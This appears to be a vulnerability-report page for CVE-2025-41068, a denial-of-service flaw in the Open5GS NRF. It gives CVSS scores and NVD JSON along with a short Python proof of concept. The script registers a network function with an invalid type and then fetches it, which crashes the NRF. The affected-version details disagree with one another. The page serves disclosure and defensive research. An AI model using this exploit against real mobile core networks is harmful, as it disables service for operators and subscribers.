Security Vulnerability Report
中文
CVE-2025-41068 CVSS 7.5 HIGH

CVE-2025-41068

Published: 2025-10-27 13:15:45
Last Modified: 2025-10-29 11:15:44

Description

Reachable Assertion vulnerability in Open5GS up to version 2.7.6 allows attackers with connectivity to the NRF to cause a denial of service. This is achieved by sending the creation of an NF with an invalid type via SBI and then requesting its data. The NRF executes a check that crashes the process, leaving the discovery service unresponsive.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:open5gs:open5gs:*:*:*:*:*:*:*:* - VULNERABLE
Open5GS < 2.7.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-41068 PoC - Open5GS NRF Reachable Assertion DoS This PoC demonstrates the Reachable Assertion vulnerability in Open5GS NRF. """ import requests import json import sys # Configuration NRF_BASE_URL = "http://target-nrf:8000" SBI_NF_INSTANCE_URL = f"{NRF_BASE_URL}/nnrf-nfm/v1/nf-instances" def create_malicious_nf_instance(): """ Create an NF instance with invalid type to trigger the assertion """ # Malformed NF instance with invalid nfType malicious_nf_instance = { "nfInstanceId": "invalid-nf-instance-001", "nfType": "INVALID_NF_TYPE", # Invalid type to trigger assertion "nfStatus": "REGISTERED", "plmnList": [{ "mcc": "001", "mnc": "01" }], "sNssais": [{ "sst": 1, "sd": "010203" }], "nsiList": [{ "nsiId": "nsi-001" }] } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: # Step 1: Register malicious NF instance response = requests.post( SBI_NF_INSTANCE_URL, json=malicious_nf_instance, headers=headers, timeout=10 ) print(f"[+] NF Instance Registration Status: {response.status_code}") if response.status_code in [201, 200]: nf_instance_id = response.json().get("nfInstanceId") print(f"[+] Created NF Instance ID: {nf_instance_id}") # Step 2: Request the NF instance data to trigger assertion get_url = f"{SBI_NF_INSTANCE_URL}/{nf_instance_id}" response = requests.get(get_url, headers=headers, timeout=10) print(f"[+] NF Instance Retrieval Status: {response.status_code}") if response.status_code == 500: print("[+] Successfully triggered assertion - NRF should be crashed") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-41068 PoC - Open5GS NRF Reachable Assertion DoS") print("=" * 60) success = create_malicious_nf_instance() sys.exit(0 if success else 1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41068", "sourceIdentifier": "[email protected]", "published": "2025-10-27T13:15:45.143", "lastModified": "2025-10-29T11:15:44.310", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Reachable Assertion vulnerability in Open5GS up to version 2.7.6 allows attackers with connectivity to the NRF to cause a denial of service. This is achieved by sending the creation of an NF with an invalid type via SBI and then requesting its data. The NRF executes a check that crashes the process, leaving the discovery service unresponsive."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open5gs:open5gs:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.5", "matchCriteriaId": "8F0994C3-81F7-4122-B3FE-6DF0A632DD33"}]}]}], "references": [{"url": "https://open5gs.org/open5gs/release/2025/07/19/release-v2.7.6.html", "source": "[email protected]"}, {"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-newplanes-open5gs", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}